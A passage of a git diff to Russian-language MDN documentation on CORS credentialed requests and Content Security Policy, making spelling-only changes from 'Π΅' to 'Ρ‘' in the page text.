+<h3 id="Запросы_с_ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ_Π΄Π°Π½Π½Ρ‹ΠΌΠΈ">Запросы с ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ</h3>
-<p>НаиболСС интСрСсная Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, прСдоставляСмая ΠΊΠ°ΠΊΒ {{domxref("XMLHttpRequest")}}, Ρ‚Π°ΠΊ ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>Β ΠΈΒ CORS - это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒΒ "ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Π΅" запросы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ освСдомлСны ΠΎΒ Ρ„Π°ΠΉΠ»Π°Ρ…Β <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a>Β ΠΈΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ HTTP Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² кросс-сайтовых {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> Π²Ρ‹Π·ΠΎΠ²Π°Ρ…, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ <strong>Π½Π΅Β </strong>ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π»Π°Π³ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈ конструктора {{domxref("Request")}} ΠΏΡ€ΠΈ Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π΅.</p>
+<p>НаиболСС интСрСсная Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, прСдоставляСмая ΠΊΠ°ΠΊΒ {{domxref("XMLHttpRequest")}}, Ρ‚Π°ΠΊ ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>Β ΠΈΒ CORS - это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒΒ "ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Π΅" запросы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ освСдомлСны ΠΎΒ Ρ„Π°ΠΉΠ»Π°Ρ…Β <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a>Β ΠΈΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ HTTP Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² кросс-сайтовых {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> Π²Ρ‹Π·ΠΎΠ²Π°Ρ…, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ <strong>Π½Π΅Β </strong>ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π»Π°Π³ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈ конструктора {{domxref("Request")}} ΠΏΡ€ΠΈ Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π΅.</p>
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΈΠ·Β <code class="plain">http://foo.example,</code> выполняСт простой GET запрос ΠΊ рСсурсу  <code class="plain">http://bar.other,</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ устанавливаСт Ρ„Π°ΠΉΠ»Ρ‹Β cookie. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π½Π°Β foo.example ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉΒ JavaScript:</p>
@@ -346,7 +346,7 @@ function callOtherDomain(){
}
}</pre>
-<p>Π’ строкС 7 ΠΏΠΎΠΊΠ°Π·Π°Π½ Ρ„Π»Π°Π³Β {{domxref("XMLHttpRequest")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн для выполнСния Π²Ρ‹Π·ΠΎΠ²Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ² cookie, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>withCredentials</code>. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²Ρ‹Π·ΠΎΠ² выполняСтся Π±Π΅Π· Ρ„Π°ΠΉΠ»ΠΎΠ² cookie. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это простой запрос <code>GET,</code>Β ΠΎΠ½ Π½Π΅ являСтся ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <strong>отклоняСт</strong> любой ΠΎΡ‚Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, ΠΈ <strong>Π½Π΅</strong> создаСт ΠΎΡ‚Π²Π΅Ρ‚, доступный для Π²Ρ‹Π·ΠΎΠ²Π° Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</p>
+<p>Π’ строкС 7 ΠΏΠΎΠΊΠ°Π·Π°Π½ Ρ„Π»Π°Π³Β {{domxref("XMLHttpRequest")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн для выполнСния Π²Ρ‹Π·ΠΎΠ²Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ² cookie, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>withCredentials</code>. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²Ρ‹Π·ΠΎΠ² выполняСтся Π±Π΅Π· Ρ„Π°ΠΉΠ»ΠΎΠ² cookie. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это простой запрос <code>GET,</code>Β ΠΎΠ½ Π½Π΅ являСтся ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ <strong>отклоняСт</strong> любой ΠΎΡ‚Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, ΠΈ <strong>Π½Π΅</strong> создаёт ΠΎΡ‚Π²Π΅Ρ‚, доступный для Π²Ρ‹Π·ΠΎΠ²Π° Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
@@ -387,9 +387,9 @@ Content-Type: text/plain
<p>Π’Π°ΠΊΠΆΠ΅ Π² строкС 11 содСрТится Cookie, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° рСсурса <code class="plain">http://bar.other</code>. Π’ случаС Ссли <code class="plain">http://bar.other</code> Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ ΠΏΠΎΠ»Π΅ΠΌΒ  {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (строка 19), Ρ‚ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ сСрвСра  Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π½Π΅ станСт доступным для Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</p>
-<h4 id="Запросы_с_ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ_Π΄Π°Π½Π½Ρ‹ΠΌΠΈ_ΠΈ_wildcards">Запросы с ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ wildcards</h4>
+<h4 id="Запросы_с_ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ_Π΄Π°Π½Π½Ρ‹ΠΌΠΈ_ΠΈ_wildcards">Запросы с ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ wildcards</h4>
-<p>Π’ процСссС ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° запрос с ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ сСрвСр <strong>обязан</strong>Β ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ источник Π² ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>Access-Control-Allow-Origin</code> вмСсто спСцсимвола "<code>*</code>".</p>
+<p>Π’ процСссС ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° запрос с ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ сСрвСр <strong>обязан</strong>Β ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ источник Π² ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>Access-Control-Allow-Origin</code> вмСсто спСцсимвола "<code>*</code>".</p>
<p>Из-Π·Π° Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ запроса Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Cookie</code>, запрос  провалился Π±Ρ‹, Ссли Π±Ρ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>Control-Allow-Origin</code> Π±Ρ‹Π»ΠΎ "*". Но ΠΎΠ½ Π½Π΅ провалился: ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>Access-Control-Allow-Origin</code>Β  - "<code class="plain">http://foo.example</code>" (Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ источник), Π° Π½Π΅ спСцсимвол "<code>*</code>", ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΠΉ полномочия, возвращаСтся Π² Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</p>
@@ -397,7 +397,7 @@ Content-Type: text/plain
<h2 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ_HTTP_ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ²">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ HTTP ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ²</h2>
-<p>Π­Ρ‚Π° сСкция содСрТит список Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² HTTP ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСр ΡˆΠ»Π΅Ρ‚ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос доступа, ΠΊΠ°ΠΊ описано Π² спСцификации совмСстного использования рСсурсов ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ источниками. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ сСкции это описано Π² дСйствии.</p>
+<p>Π­Ρ‚Π° сСкция содСрТит список Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² HTTP ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСр ΡˆΠ»Ρ‘Ρ‚ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос доступа, ΠΊΠ°ΠΊ описано Π² спСцификации совмСстного использования рСсурсов ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ источниками. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ сСкции это описано Π² дСйствии.</p>
<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
@@ -406,7 +406,7 @@ Content-Type: text/plain
<pre class="brush: none notranslate">Access-Control-Allow-Origin: &lt;origin&gt; |Β *
</pre>
-<p><code>Access-Control-Allow-Origin</code> опрСдСляСт Π»ΠΈΠ±ΠΎ ΠΎΠ΄ΠΈΠ½ источник, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ этому источнику доступ ΠΊ рСсурсу; Π»ΠΈΠ±ΠΎ β€” для запросов Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>*</code>", ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ запросы ΠΈΠ· Π»ΡŽΠ±Ρ‹Ρ… источников.</p>
+<p><code>Access-Control-Allow-Origin</code> опрСдСляСт Π»ΠΈΠ±ΠΎ ΠΎΠ΄ΠΈΠ½ источник, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ этому источнику доступ ΠΊ рСсурсу; Π»ΠΈΠ±ΠΎ β€” для запросов Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>*</code>", ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ запросы ΠΈΠ· Π»ΡŽΠ±Ρ‹Ρ… источников.</p>
<p>НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ http://mozilla.org доступ ΠΊ рСсурсу, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ:</p>
diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html
index 66c9f059bc..f1c128ab7f 100644
--- a/files/ru/web/http/csp/index.html
+++ b/files/ru/web/http/csp/index.html
@@ -8,9 +8,9 @@ translation_of: Web/HTTP/CSP
---
<div>{{HTTPSidebar}}</div>
-<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ бСзопасности, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΈ ΡƒΡΡ‚Ρ€Π°Π½ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π°Ρ‚Π°ΠΊ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Cross Site Scripting ({{Glossary("XSS")}}) ΠΈ Π°Ρ‚Π°ΠΊΠΈ внСдрСния Π΄Π°Π½Π½Ρ‹Ρ…. Π‘ΠΏΠ΅ΠΊΡ‚Ρ€ примСнСния этих Π°Ρ‚Π°ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚, Π½ΠΎ Π½Π΅ ограничиваСтся ΠΊΡ€Π°ΠΆΠ΅ΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ΄ΠΌΠ΅Π½ΠΎΠΉ страниц ΠΈ распространСниСм Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π½ΠΎΠ³ΠΎ ПО.</p>
+<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ бСзопасности, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΈ ΡƒΡΡ‚Ρ€Π°Π½ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π°Ρ‚Π°ΠΊ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Cross Site Scripting ({{Glossary("XSS")}}) ΠΈ Π°Ρ‚Π°ΠΊΠΈ внСдрСния Π΄Π°Π½Π½Ρ‹Ρ…. Π‘ΠΏΠ΅ΠΊΡ‚Ρ€ примСнСния этих Π°Ρ‚Π°ΠΊ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚, Π½ΠΎ Π½Π΅ ограничиваСтся ΠΊΡ€Π°ΠΆΠ΅ΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ΄ΠΌΠ΅Π½ΠΎΠΉ страниц ΠΈ распространСниСм Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π½ΠΎΠ³ΠΎ ПО.</p>
-<p>CSP разрабатывался с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости (Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ CSP version 2, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π»ΠΈ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ противорСчия Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ; с дСталями ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ <a href="https://www.w3.org/TR/CSP2">здСсь</a>, Π² ΠΏΡƒΠ½ΠΊΡ‚Π΅ 1.1). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ CSP, всС Π΅Ρ‰Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с сСрвСрами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ CSP, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚: Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° CSP отсутствуСт, Π±ΡƒΠ΄ΡƒΡ‚ Π΅Π΅ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, продолТая Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² соотвСтствии со стандартными ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ ограничСния Π΄ΠΎΠΌΠ΅Π½Π° для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π’ случаС, Ссли сайт Π½Π΅ прСдоставляСт CSP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартныС <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">ΠΏΡ€Π°Π²ΠΈΠ»Π° ограничСния Π΄ΠΎΠΌΠ΅Π½Π°</a>.</p>
+<p>CSP разрабатывался с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости (Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ CSP version 2, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π»ΠΈ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ противорСчия Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ; с дСталями ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ <a href="https://www.w3.org/TR/CSP2">здСсь</a>, Π² ΠΏΡƒΠ½ΠΊΡ‚Π΅ 1.1). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ CSP, всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с сСрвСрами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ CSP, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚: Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° CSP отсутствуСт, Π±ΡƒΠ΄ΡƒΡ‚ Π΅Ρ‘ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, продолТая Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² соотвСтствии со стандартными ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ ограничСния Π΄ΠΎΠΌΠ΅Π½Π° для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π’ случаС, Ссли сайт Π½Π΅ прСдоставляСт CSP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартныС <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">ΠΏΡ€Π°Π²ΠΈΠ»Π° ограничСния Π΄ΠΎΠΌΠ΅Π½Π°</a>.</p>
